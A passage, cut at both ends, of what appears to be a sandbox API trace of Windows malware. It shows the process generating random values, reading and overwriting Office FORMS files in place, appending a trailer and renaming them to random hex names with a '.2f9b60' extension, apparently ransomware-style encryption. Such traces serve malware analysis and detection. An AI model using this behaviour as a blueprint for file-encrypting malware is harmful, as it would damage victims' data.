lpBuffer=0x1c89fa60*, lpNumberOfBytesRead=0x1c89faa8*=0x4, lpOverlapped=0x0) returned 1 [0157.127] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e30 [0157.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ec0 [0157.128] NtQuerySystemTime (in: CurrentTime=0x1c89f9a0 | out: CurrentTime=0x1c89f9a0*=132462177622630000) returned 0x0 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x7b58d16c [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x2122c3e3 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0xa953591 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x6fffef9b [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x7e8fa2a9 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x4a7f700e [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0xeb0b9f7 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x3a753fd [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x17da0930 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x63c2f5b0 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5f87dc50 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5bcc8558 [0157.128] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x74faa8d3 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x69479e12 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x2c87e3f1 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5aa9f030 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5702e7eb [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x1f26b9d1 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x4ba77de1 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x64d7cf9a [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x1752105 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x6beb8a7 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x7b66b597 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x34c1eaf5 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x8d0e6d6 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x73aa188f [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x787dfb94 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5552145f [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x1b29981c [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x5fac24f7 [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x214c967e [0157.129] RtlRandomEx (in: Seed=0x1c89f990 | out: Seed=0x1c89f990) returned 0x20de664d [0157.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ef0 [0157.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec66a0 [0157.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f20 [0157.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec66a0) returned 1 [0157.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ec0) returned 1 [0157.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19310 [0157.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec66a0 [0157.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ae6670 [0157.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aea280 [0157.144] ReadFile (in: hFile=0x924, lpBuffer=0x42ae6670, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x1c89f990, lpOverlapped=0x0 | out: lpBuffer=0x42ae6670*, lpNumberOfBytesRead=0x1c89f990*=0x335, lpOverlapped=0x0) returned 1 [0157.144] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.144] WriteFile (hFile=0x924, lpBuffer=0x42aea280, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x1c89f994, lpOverlapped=0x0) [0186.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9830 [0186.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9860 [0186.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9860) returned 1 [0186.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aea280) returned 1 [0186.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ae6670) returned 1 [0186.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec66a0) returned 1 [0186.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19310) returned 1 [0186.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9860 [0186.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19310 [0186.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec66a0 [0186.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9890 [0186.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9890) returned 1 [0186.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9890 [0186.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec98c0 [0186.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec98f0 [0186.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec98f0) returned 1 [0186.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec66a0) returned 1 [0186.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19310) returned 1 [0186.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43100f00 [0186.455] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.455] WriteFile (in: hFile=0x924, lpBuffer=0x43100f00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1c89fab0, lpOverlapped=0x0 | out: lpBuffer=0x43100f00*, lpNumberOfBytesWritten=0x1c89fab0*=0x10a, lpOverlapped=0x0) returned 1 [0207.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0207.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe620) returned 1 [0207.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe620 [0207.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0207.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6f0) returned 1 [0207.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.185] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.185] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="ef") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="96") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="d9") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="71") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="47") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="cb") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="a7") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="45") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="ac") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="38") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="74") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="de") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="08") returned 2 [0207.186] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="c7") returned 2 [0207.186] RtlInitAnsiString (in: DestinationString=0x1c89fb28, SourceString="3ff1ef968e9ad97147cba745ac382ce3a5742accdea508c7" | out: DestinationString="3ff1ef968e9ad97147cba745ac382ce3a5742accdea508c7") [0207.186] RtlAnsiStringToUnicodeString (in: DestinationString=0x1c89faf8, SourceString="3ff1ef968e9ad97147cba745ac382ce3a5742accdea508c7", AllocateDestinationString=1 | out: DestinationString="3ff1ef968e9ad97147cba745ac382ce3a5742accdea508c7") returned 0x0 [0207.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e89c0 [0207.187] wcscat (in: _Dest=0x431c73a0, _Source="3ff1ef968e9a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a" [0207.187] wcscat (in: _Dest=0x431c73a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a.2f9b60" [0207.187] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a.2f9b60", NtPathName=0x1c89fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\3ff1ef968e9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43129260 [0242.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43129260) returned 1 [0242.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43169670) returned 1 [0242.660] NtQueryInformationFile (in: FileHandle=0x924, IoStatusBlock=0x1c89fb38, FileInformation=0x1c89fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c89fb38, FileInformation=0x1c89fb48) returned 0x0 [0242.660] NtSetInformationFile (FileHandle=0x924, IoStatusBlock=0x1c89fb38, FileInformation=0x1c89fb48, Length=0x28, FileInformationClass=0x4) Thread: id = 2651 os_tid = 0x21d8 [0157.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg")) returned 0x20 [0157.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG", dwFileAttributes=0x20) returned 1 [0157.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdreq.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x920 [0157.148] GetFileSizeEx (in: hFile=0x920, lpFileSize=0x2af5fc20 | out: lpFileSize=0x2af5fc20*=1199) returned 1 [0157.148] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x4ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.149] ReadFile (in: hFile=0x920, lpBuffer=0x2af5fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2af5fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2af5fba0*, lpNumberOfBytesRead=0x2af5fbe8*=0x4, lpOverlapped=0x0) returned 1 [0157.150] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ec0 [0157.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f50 [0157.152] NtQuerySystemTime (in: CurrentTime=0x2af5fae0 | out: CurrentTime=0x2af5fae0*=132462177622786000) returned 0x0 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x2691368c [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x4c4f3bdc [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x787391f [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0xcb693fb [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x360deea2 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x1448c6b8 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x48728216 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x7244f4b [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x43436596 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x3c2f80a3 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x31124d19 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x4cd1522e [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x651720ca [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5cd06a02 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x7158f533 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x3575280a [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5c11d948 [0157.152] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x7c3565d4 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x2b078ab8 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x4542db2e [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5593b24 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5c2159c3 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x2dfc26db [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5fa1ba56 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x2c9e617 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x2eed9785 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x70a010be [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x456d6295 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x5616771 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x755995a3 [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x189853dc [0157.153] RtlRandomEx (in: Seed=0x2af5fad0 | out: Seed=0x2af5fad0) returned 0x1b9a61a7 [0157.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f80 [0157.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6720 [0157.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0fb0 [0157.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6720) returned 1 [0157.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0f50) returned 1 [0157.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19360 [0157.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6720 [0157.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0157.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0157.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aede90 [0157.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42af1aa0 [0157.169] ReadFile (in: hFile=0x920, lpBuffer=0x42aede90, nNumberOfBytesToRead=0x4af, lpNumberOfBytesRead=0x2af5fad0, lpOverlapped=0x0 | out: lpBuffer=0x42aede90*, lpNumberOfBytesRead=0x2af5fad0*=0x4af, lpOverlapped=0x0) returned 1 [0157.169] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.170] WriteFile (hFile=0x920, lpBuffer=0x42af1aa0, nNumberOfBytesToWrite=0x4af, lpNumberOfBytesWritten=0x2af5fad4, lpOverlapped=0x0) [0186.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec98f0 [0186.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9920 [0186.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9920) returned 1 [0186.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42af1aa0) returned 1 [0186.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aede90) returned 1 [0186.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6720) returned 1 [0186.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19360) returned 1 [0186.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec9920 [0186.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19360 [0186.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6720 [0186.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9950 [0186.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9950) returned 1 [0186.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cec9950 [0186.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9980 [0186.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec99b0 [0186.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec99b0) returned 1 [0186.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6720) returned 1 [0186.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19360) returned 1 [0186.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102830 [0186.462] SetFilePointerEx (in: hFile=0x920, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.462] WriteFile (in: hFile=0x920, lpBuffer=0x43102830*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2af5fbf0, lpOverlapped=0x0 | out: lpBuffer=0x43102830*, lpNumberOfBytesWritten=0x2af5fbf0*=0x108, lpOverlapped=0x0) returned 1 [0207.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1160 [0207.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1160) returned 1 [0207.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d220 [0207.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1160 [0207.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1130 [0207.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1130) returned 1 [0207.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d030 [0207.197] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="01") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="e5") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="55") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="1c") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="60") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="b4") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="ed") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="83") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="60") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="9d") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="18") returned 2 [0207.197] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="68") returned 2 [0207.198] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.198] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.198] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="63") returned 2 [0207.198] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="60") returned 2 [0207.198] RtlInitAnsiString (in: DestinationString=0x2af5fc68, SourceString="6fcc01e5551cb960b4ed2e832b609dee18682aab6360" | out: DestinationString="6fcc01e5551cb960b4ed2e832b609dee18682aab6360") [0207.198] RtlAnsiStringToUnicodeString (in: DestinationString=0x2af5fc38, SourceString="6fcc01e5551cb960b4ed2e832b609dee18682aab6360", AllocateDestinationString=1 | out: DestinationString="6fcc01e5551cb960b4ed2e832b609dee18682aab6360") returned 0x0 [0207.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e8aa0 [0207.198] wcscat (in: _Dest=0x431c74e0, _Source="6fcc01e5551" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\6fcc01e5551" [0207.198] wcscat (in: _Dest=0x431c74e0, _Source=".2f9b60" | out: _Dest="C:\\Program 